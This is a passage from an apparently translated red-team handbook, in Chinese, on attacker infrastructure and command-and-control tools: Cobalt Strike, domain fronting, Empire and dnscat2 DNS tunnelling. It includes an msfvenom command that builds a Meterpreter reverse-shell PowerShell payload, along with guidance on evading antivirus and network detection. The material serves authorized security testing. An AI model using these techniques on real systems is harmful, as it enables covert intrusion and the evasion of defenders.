作为红队,我们并不太关心攻击的起源。相反,我们想了解攻击事件采用的战术、技术和工具。例如,在查看公共资源时,我们搜索到了FireEye公司的详细攻击分析报告。通过学习FireEye公司的分析报告,我们掌握了恶意软件使用的战术、技术和工具,主要使用了Office文件、JavaScript和PowerShell规避技术。这样,我们可以采用类似的攻击行动,检测您的公司是否可以发现这种攻击行为。
MITRE公司的攻击战术、技术和基本知识列表将APT攻击进行了详细分类。列表中包括所有类型攻击采用的战术、技术和工具。
Windows APT攻击战术、技术和基本知识如表1.1所示。
表1.1
长期控制 |
权限提升 |
防御规避 |
凭证获取 |
探测 |
---|---|---|---|---|
访问特性 |
管理访问令牌 |
管理访问令牌 |
管理账户 |
账户发现 |
AppCert Dlls |
访问特性 |
二进制填充 |
暴力破解 |
应用程序发现 |
AppInit Dlls |
AppCert Dlls |
用户账号控制规避 |
凭证导出 |
文件和目录发现 |
应用程序兼容 |
AppInit Dlls |
代码签名 |
文件中凭证 |
扫描网络服务 |
鉴权包 |
应用程序兼容 |
组件固件 |
漏洞利用 |
网络共享发现 |
Bootkit |
用户账号控制规避 |
组件对象模型劫持 |
强制鉴权 |
外围设备发现 |
浏览器扩展 |
Dll搜索顺序劫持 |
Dll搜索顺序劫持 |
钩子 |
权限分组发现 |
MITRE公司还提供了Mac(见表1.2)和Linux的知识列表。现在,我们将根据搜集到的关于TTP/工具/方法的所有数据,制定一个攻击方案,应用于被攻击者的公司。开展这些类型的红队攻击行动将为公司提供真实的攻击场景和防御场景。
MacOS APT攻击战术、技术和基本知识见表1.2。
表1.2
初始控制 |
执行 |
长期控制 |
权限提升 |
防御规避 |
凭证获取 |
---|---|---|---|---|---|
突破驱动 |
AppleScript |
.bash_profile和.bashrc |
Dylib劫持 |
二进制填充 |
Bash历史命令 |
公开访问应用程序漏洞利用 |
命令行接口 |
浏览器扩展 |
漏洞利用提升权限 |
清空历史命令 |
暴力破解 |
硬件植入 |
客户应用程序漏洞利用 |
创建账户 |
运行守护进程 |
代码签名 |
文件中凭证 |
鱼叉式网络钓鱼附件 |
图形用户接口 |
Dylib 劫持 |
Plist修改 |
禁用安全工具 |
漏洞利用从而获取凭证 |
鱼叉式网络钓鱼快捷方式 |
Launchctl |
隐藏文件和目录 |
进程注入 |
利用漏洞从而规避防御 |
输入捕获 |
鱼叉式网络钓鱼服务 |
本地任务计划 |
核心模块和扩展 |
Setuid和setgid |
文件删除 |
输入提示 |
每个公司都应该假定目前自身处于一个遭受攻击的环境中。在过去的日子里,太多公司认为,由于开展了网络安全培训或者年度渗透测试,自身是安全的。我们需要始终处于一种警觉的状态,魔鬼可能潜伏在周围,我们应该即时发现各种异常的现象。
这就是红队行动与渗透测试的根本不同之处。由于红队行动专注于检测/缓解安全机制而不是发现漏洞,因此我们可以做一些更独特的评估。假定突破演习可以为客户/用户提供较大帮助。在假定突破演习中,攻击者始终拥有0day漏洞。那么,客户能否识别并减轻后续两个步骤的危害呢?
在这个前提下,红队与公司内部有限的几个人进行配合,将单个自定义恶意程序静荷在服务器上执行。这个静荷会尝试以多种方式连接,确保能够规避常用杀毒软件,并允许从内存中执行后续的静荷。我们将在整本书中提供静荷的例子。一旦执行了初始静荷,后续的事情就很有趣了!
这是红队行动中我最喜欢的一部分。在突破第一个系统之前,您需要确定红队行动的范围。在渗透测试中,通常是指定一个目标,您需要不断尝试突破这个目标。如果没有成功,您会继续执行其他操作。即使没有既定方案,您也会非常专注于该网络。
在红队行动中,我们有一些要实现的目标。这些目标可以是下面的内容,但不局限于下面的内容。
攻击行动被发现是评估中最关键的一部分。有些红队行动被发现4~5次,因此需要重新切换到4~5个不同的环境。这实际上向您的客户表明他们的防御机制发挥了作用(或不发挥作用),具体评估结果依据客户开展红队行动的目的而定。在本书的最后部分,将提供一些报告示例,解释如何确定指标和上报数据。
开展红队行动需要依托多种不同的网络服务。目前,在互联网上有大量虚拟专用服务器(VPS),可以用于搭建攻击服务器,并且价格不贵。例如,我通常使用Digital Ocean Droplets或Amazon Web Services(AWS)Lightsail服务器配置我的虚拟专用服务器。我使用这些服务的原因是因为它们通常成本非常低(有时是免费的),支持安装Ubuntu服务器,可以部署在世界各地,重要的是它们非常容易安装设置。仅用几分钟,您就可以安装多个服务器并运行Metasploit和Empire服务。
由于安装及设置简单,因此本书将重点介绍AWS Lightsail服务器,它提供自动化服务,并且流量通常经过AWS,在成功创建了您喜欢的镜像之后,您可以快速地将该镜像复制到多个服务器,这使得构建命令和控制服务器变得非常容易。
同样,您应该确保遵守虚拟专用服务器的服务条款,这样就不会遇到任何问题。
登录到服务器后,您需要高效且可重复地安装所有工具。本书建议您开发自己的脚本来设置IPTables规则、SSL证书、工具和脚本等内容。一种快速构建服务器的方法是集成TrustedSec组织的PenTesters Framework(PTF)。这个集成脚本替您完成了许多烦琐的工作,并为其他所有内容创建了一个框架。让我们来看一个例子,展示如何快速地安装漏洞利用、信息搜集、后漏洞利用、PowerShell和漏洞分析工具。
图1.1显示了所有可用的不同模块,其中一些是我们自行安装的。
图1.1 所有可用模块
如果查看攻击者使用的虚拟专用服务器,我们可以看到服务器上安装的所有工具,如图1.2所示。如果想启动Metasploit,那么我们可以输入:msfconsole。
图1.2 pentest目录下安装的所有工具
我建议要做的另外一件事是建立完善的IPTables规则。由于这将是您的攻击者服务器,因此您需要限制SSH身份验证的发起位置,Empire/Meterpreter/Cobalt Strike静荷来源,以及您搭建的任何网络钓鱼页面。
如果您还记得2016年年末,有人在Cobalt Strike项目组服务器上找到了未经身份验证的远程执行代码(RCE),那么您肯定不希望存储用户数据的攻击者服务器被突破。
我还看到一些红队在AWS内部的Docker中运行Kali Linux(或至少是Metasploit)。从我的角度来看,系统创建的方式没有什么问题。您所需要的是创建一个有效且可重复的流程来部署多台主机。使用Lightsail的好处是,一旦机器配置为首选项,您就可以使用该机器的镜像快照,搭建多个全新副本主机。
如果想让您的环境水平更上一层楼,那么可参考Coalfire-Research团队的研究成果。Coalfire-Research团队构建了自定义模块,它能够为您完成所有的烦琐工作和自动化工作。Red Baron是Terraform的模块和自定义/第三方提供商,它试图为红队自动创建静默、一次性、安全和敏捷的基础架构(见 GitHub 中的相关内容)。无论是要构建网络钓鱼服务器、Cobalt Strike基础架构还是创建DNS命令控制服务器,您都可以使用Terraform完成所有的操作。
红队可能会使用大量的工具,这里我们来介绍一些核心工具。请记住,作为红队,其目的不是破坏用户网络环境,而是复制真实世界的攻击,以查看客户是否受到保护并能够在很短的时间内检测攻击行为。在前面的章节中,我们介绍如何复制攻击者的配置文件和工具集,因此下面我们来回顾一些常见的红队工具。
虽然Metasploit框架是在2003年开发的,但是到目前为止,它仍然是一个重要的工具。这是由于工具原始设计者HDMoore和社区一直在积极维护该项目。这个驱动的框架似乎每天都在更新,包含所有较新的公共漏洞、后漏洞利用模块和辅助模块等。
红队的任务可能会基于Metasploit,生成MS17-010永恒之蓝漏洞并利用工具来突破系统,以获得我们的第一个Shell;或者基于Metasploit生成Meterpreter静荷,借助社会工程学开展攻击。
在后面的章节中,本书将向您展示如何重新设置Metasploit静荷和流量特征,以绕过杀毒软件和网络检测设备的防护机制。
如果借助社会工程学开展攻击,我们常常希望使用Word或Excel文档格式。但是,一个潜在的问题是,我们可能无法嵌入Meterpreter二进制静荷或者从Web直接下载,因为杀毒软件可能会阻止上述操作。为此,一个简单的解决方案是使用PowerShell进行混淆处理。
msfvenom --payload windows/x64/meterpreter_reverse_http --format psh --out meterpreter- 64.ps1 LHOST = 127.0.0.1
我们甚至可以在下一阶段再进行混淆,使用Unicorn等工具生成更多混淆的PowerShell Meterpreter静荷,如图1.3所示。本书后面的章节将详细介绍实现细节。
图1.3
此外,使用可信机构的SSL/TLS证书,可能会“帮助”我们绕过某些网络入侵检测工具。
最后,在本书的后面部分,我们将讨论如何从头开始编译Metasploit/Meterpreter以规避基于主机和网络的检测工具。
Cobalt Strike是迄今为止我常用的红队攻击工具之一。什么是Cobalt Strike?它具有后漏洞利用、横向移动、网络隐藏和数据回传等功能。Cobalt Strike并不集成漏洞利用工具,也不是通过0day漏洞突破系统。如果已经在目标服务器上执行代码或将其用作网络钓鱼活动静荷的一部分,您会真正了解Cobalt Strike的强大功能和扩展性。当执行Cobalt Strike静荷后,它创建一个信标,回连命令和控制服务器。
Cobalt Strike 工具价格不菲,每位用户一年要花费 3500 美元(约24446.8元人民币)来获取新的许可证。目前,Cobalt Strike还会提供免费的功能受限试用版。
如前所述,在基础架构方面,我们希望建立一个可重用且高度灵活的环境。Cobalt Strike支持重定向,即使命令和控制服务器崩溃,您也不必重新搭建新的环境,仅需要更换新的域名。您可以使用socat,配置重定向参数,如图1.4所示。
图1.4
为了方便地实现重定向功能,我们应用域名前置技术。域名前置集合多种技术,利用其他人的域名和基础架构实现重定向。这可以通过亚马逊的 CloudFront
或其他Google主机等主流的内容交付网络(CDN)实现真实端点的隐藏。在过去的一段时间中,这项技术已经被不同攻击者使用。
使用这些高信誉域名,无论HTTP或者是HTTPS,任何流量看起来都是与这些域名进行通信,而不是恶意的命令和控制服务器。这一切是如何运作的?举一个较复杂的攻击例子,所有流量将被发送到CloudFront的一个完全限定域名(FQDN),例如a0.awsstatic.com,这是CloudFront的主域名。修改请求中的主机头,使所有流量重定向到CloudFront分配地址,最终流量转发到我们的Cobalt Strike命令和控制服务器,如图1.5所示。
图1.5
通过更改 HTTP 主机头,内容交付网络顺利地将数据包路由到正确的服务器。红队一直使用这种技术,通过使用高信誉域名重定向,隐藏发往命令和控制服务器的流量。
注意:在出版本书时,AWS(甚至Google)已经开始启动安全防护机制,停止支持域名前置。这样做仍然无法阻止域名前置攻击,但是攻击者需要使用不同的第三方资源进行攻击。
虽然不是基础架构的一部分,但是了解信标在内部环境中的工作方式非常重要。在操作安全方面,我们不希望攻击行动被轻易识破。作为红队,我们必须假设一些代理主机会被蓝队发现。如果我们让所有突破主机仅与一个或两个命令和控制服务器通信,那么红队的整个基础架构将非常容易被发现。幸运的是,Cobalt Strike 支持突破主机之间采用 SMB网络协议进行命令和控制通信。这种方式允许一台突破主机连接互联网,网络上的所有其他计算机通过SMB网络协议连接该主机。采用这种方式,如果另外一台突破主机被检测到,并被取证分析,则蓝队可能无法找到此次攻击的命令和控制服务器。
Cobalt Strike的一个很棒的功能是红队可以方便地管理信标之间的通信。使用Malleable C2配置文件,突破主机的所有流量与普通流量非常类似。目前越来越多的环境支持7层应用程序数据包过滤。在第7层,很多异常流量的数据包伪装成网站流量。那么如何使发送到命令和控制服务器的流量看起来像正常的网站流量?这就要设置Malleable C2文件。看下面这个例子:https://github.com/rsmudge/Malleable-C2-Profiles/blob/ master/normal/ amazon.profile。一些中间记录如下。
这个功能已经被应用到许多不同的行动中,许多安全设备已经在所有常见的可移动配置文件中对其创建了签名。我们为解决这个问题所采取的行动是修改所有静态字符串,更改所有用户代理信息,使用真实证书配置SSL(不使用默认的Cobalt Strike SSL证书),使用抖动,以及更改代理信标的时间。最后一个注意事项是确保使用POST(http-post)命令进行通信,因为如果不这样做可能会在使用自定义配置文件时引起很多麻烦。如果您的个人资料通过http-get进行通信,它仍然有效,但上传大文件将无法完成。请记住,GET通常限制在2 048个字符左右。SpectorOps团队还创建了随机的命令和控制配置文件。
有很多志愿者为Cobalt Strike项目做出了贡献。Aggressor Script是一种脚本语言,适用于红队操作和攻击模拟,开发灵感来自可编写脚本的IRC客户端和木马。这种语言有两方面的用途:①创建长时间运行的木马,模拟红队成员,与您并肩进行模拟攻击;②可以使用脚本、扩展和修改Cobalt Strike客户功能。例如,HarleyQu1nn集成了大量不同类型的攻击脚本,用于后漏洞利用阶段。
Empire是一个后漏洞利用框架,包括纯PowerShell 2.0 Windows代理和纯Python 2.6/2.7 Linux/macOS代理。PowerShell Empire是以前的PowerShell Empire和Python EmPyre项目的合并。该框架提供了加密安全通信和灵活的架构。在PowerShell方面,Empire支持运行PowerShell代理,无须运行PowerShell.exe,可快速部署后漏洞利用模块,包括键盘记录工具和Mimikatz工具,支持自适应通信方式以规避网络检测,所有这些功能都集成在以可用性为中心的框架中。
对于红队来说,PowerShell是一个不错的朋友。在运行初始静荷之后,所有后续攻击代码都存储在内存中。Empire最大的优点在于开发人员积极维护和更新框架代码,所有最新的后漏洞利用模块都可用于攻击。Empire支持Linux和macOS操作系统。因此,您仍然可以在macOS中创建Office宏,在执行攻击时,Empire中拥有一个全新的代理。
我们将在整本书中详细地介绍Empire工具,以便您充分了解Empire工具的用途。非常重要的一点是,我们要确保安全设置Empire。
正如在本书前两版中提到的,Metasploit可以使用rc文件,实现自动化配置,Empire现在也支持自动运行脚本以提高效率,这将在本书后面的章节进行讨论。
静荷是在突破主机上运行的真正的恶意软件。这些静荷可以在Windows、Linux和macOS中运行,但Empire最为知名的是PowerShell Windows静荷。
图1.6
图1.7
如上所述,我们创建的静荷是深度混淆的。您现在可以在任何Windows操作系统上放置.bat文件。当然,您可能会创建一个Office宏或一个Rubber Ducky静荷,但这只是众多示例中的一个。
如果您尚未在Kali镜像上安装PowerShell,最好的方法是手动安装。在Kali上安装PowerShell需要执行下述代码。
dnscat2工具是通过DNS协议创建加密的命令和控制(C2)通道,这是适用于几乎所有网络的有效隧道(见GitHub的相关内容)。
基于DNS协议来实现命令和控制以及网络渗透,提供了一种很好的机制隐藏您的流量、规避网络检测和绕过网络限制。在许多受限制的环境或生产环境中,我们遇到过网络要么不允许出站流量,要么严格限制/监控流量。为了解决这些问题,我们可以使用dnscat2工具。使用dnscat2工具的原因是因为它不需要管理员权限,可以实现远程访问和网络渗透。
许多高安全网络环境禁止UDP或TCP数据包直接出站。那么为什么我们不利用基础架构中已经内置的服务?许多严格保护的网络中包含内部DNS服务器,用于解析内部主机的域名,同时还允许解析外部的资源。我们可以搭建权威DNS服务器,实现恶意域名的解析,通过修改DNS解析数据包内容,执行恶意软件的命令和控制功能,如图1.8所示。
图1.8
在攻击场景中,我们将设置名为“loca1host.com”的攻击者域名。这与localhost很相似,希望可以稍微隐藏我们的网络流量。您需要将“loca1host.com”替换成自己拥有的域名。我们将配置loca1host.com的DNS信息,使其指向我们安装的权威DNS服务器。在此示例中,我们将使用GoDaddy的DNS配置工具,您也可以使用任何DNS服务。
如图1.9所示,现在设置名字服务器指向ns1.loca1host.com和ns2.loca1host.com,它们都指向攻击者虚拟专用服务器。如果您尝试解析loca1host.com(如vpn.loca1host.com)的任何子域,那么它将尝试使用我们的虚拟专用服务器来执行域名解析。幸运的是,dnscat2在UDP 53端口进行监听,并为我们完成所有繁重的工作。
图1.9
接下来,我们需要设置攻击者服务器作为名字服务器。设置dnscat2服务器。
对于客户端代码,我们需要将其编译成二进制文件,并在Linux上运行。
现在已经配置了权威DNS,攻击者服务器运行dnscat2程序,负责DNS域名解析,并且恶意软件已经编译完毕,我们已准备好执行静荷。
在开始之前,我们需要在攻击者服务器上启动dnscat。虽然有多种配置可供使用,但是必须要配置--secret标志,确保DNS请求中的通信是加密的。确保将loca1host.com替换为您拥有的域名,并创建随机密钥字符串。
在攻击者服务器上启动dnscat2。
假设有一个存在漏洞的服务器,您能够在其上远程执行代码。您可以运行shell命令并上传dnscat静荷。执行我们的静荷。
这将启动 dnscat 程序,使用我们的权威服务器创建命令和控制通道。有时我碰到dnscat2服务“死机”了,原因可能是大文件传输,或者仅仅是程序出现了问题。为了解决这种类型的问题,我要确保dnscat能够有效回连。为此,我通常喜欢使用快速bash脚本,启动dnscat静荷。
这将确保如果客户端静荷因任何原因“死机”了,它将每小时生成一个新实例。有时只有一次机会让您的静荷执行,因此需要让它发挥作用!
最后,如果想在Windows系统上运行这个静荷,您可以使用dnscat2静荷。为什么不在PowerShell中执行此操作?Luke Baggett写了一个关于dnscat客户端的PowerShell版本。
在静荷执行并回连到攻击者服务器之后,我们应该看到类似于下面的新的ENCRYPTED AND VERIFIED消息。通过输入“window”,dnscat2将显示所有会话。目前,我们可以看到图1.10中有一个名为“1”的会话。
图1.10
我们可以通过与命令会话交互,复制生成Shell。
图1.11
虽然这不是最快的Shell,但是由于所有通信数据包都是通过DNS协议进行传输的,因此真正解决了Meterpreter或类似Shell无法回连的情况。dnscat2更大的优点是它完全支持隧道。这样的话,我们可以从本地主机发起漏洞攻击,使用浏览器来访问内部网站,甚至是通过SSH登录到设备上,这一切都是可能的。
很多时候,攻击者服务器需要通过突破的主机,访问突破主机内网的其他服务器。使用dnscat2执行此操作的安全方法之一是本地端口路由我们的流量,接着通过隧道传输到网络内部主机。我们可以通过命令会话中的以下命令来完成这个例子。
创建隧道后,在攻击者主机终端根窗口,使用SSH命令登录本地9 999端口,我们可以返回攻击者计算机上的管理员终端窗口,通过SSH命令9 999端口连接到localhost,并通过被攻击者网络上的内部系统身份验证,如图1.12所示。
图1.12
这将提供各种有用的功能,一个很好的测试是检测客户的网络是否可以检测到大量的DNS查询和数据窃取。那么,请求和响应的数据包看起来是什么样的?通过快速的Wireshark数据截获,如图1.13所示的dnscat2创建了大量不同类型的DNS请求包,发送到不同类型长子域名。
图1.13
正如在p0wnedShell的GitHub页面所介绍的,这个工具是用C#编写的用于攻击目的的PowerShell主机应用程序,它不依赖于powershell.exe,而是在PowerShell运行空间环境(.NET)中运行PowerShell命令和函数。该工具包含许多攻击PowerShell模块和二进制模块,使后期漏洞利用过程更加容易。我们尝试的是建立一个“一体化”的包含所有相关工具的后漏洞利用工具,并借助它绕过所有安全防护机制(或至少绕过一些)。您可以使用p0wnedShell在活动目录环境中执行各种攻击,使防御团队产生防范意识,从而帮助他们构建正确的防御策略。
Pupy 是一个开源、跨平台(Windows、Linux、macOS和Android)远程管理和后漏洞利用工具,主要用Python语言编写。
Pupy 的一个非常棒的功能是,您可以在所有代理上运行Python脚本,而无须在所有主机上实际安装Python。因此,Pupy是一个很方便的工具,能够帮助用户实现在自定义框架中编写大量攻击脚本的目的。
PoshC2是一个代理,自适应命令和控制框架,完全用PowerShell编写,可以帮助渗透测试人员与红队开展团队合作,开展后漏洞利用和横向移动操作。PoshC2工具和模块是在PowerShell会话和Metasploit框架的静荷类型的基础上开发的。选择PowerShell作为基本语言,是因为它提供了所需的所有功能和丰富的特性,并且框架无须引入多种语言。
Merlin基于最近开发的HTTP/2(RFC7540)协议。Per Medium解释:“HTTP/2通信是多路复用的,双向连接不会在一个请求和响应之后结束。此外,HTTP/2是一个二进制协议,具有更紧凑、易于解析等特点,不使用协议解析工具则无法理解HTTP/2内容。”
Merlin是一个用Go语言编写的工具,界面和使用方法类似于PowerShell Empire,并且允许使用轻量级代理。它不支持任何类型的后漏洞利用模块,因此必须独立完成后续工作。
Nishang是一个包含大量脚本和静荷的框架,可以使用PowerShell开展攻击检测、渗透测试和红队行动。Nishang在渗透测试的所有阶段都很有用。
虽然Nishang实际上是一个令人惊叹的PowerShell脚本的集合,但是也包括一些轻量级命令和控制的脚本。
现在,您终于完成了工具和服务器配置,准备开始“战斗”。为各种场景做好准备可以帮助您“规避”网络检测工具、协议禁用以及基于主机的安全防护工具。
对于本书中的实验,我创建了基于Kali Linux的完整虚拟机,包括各种工具。在黑客秘笈压缩包中,有一个名为List_of_Tools.txt的文本文件,其中包括了所有添加的工具。默认用户名/密码是root/toor。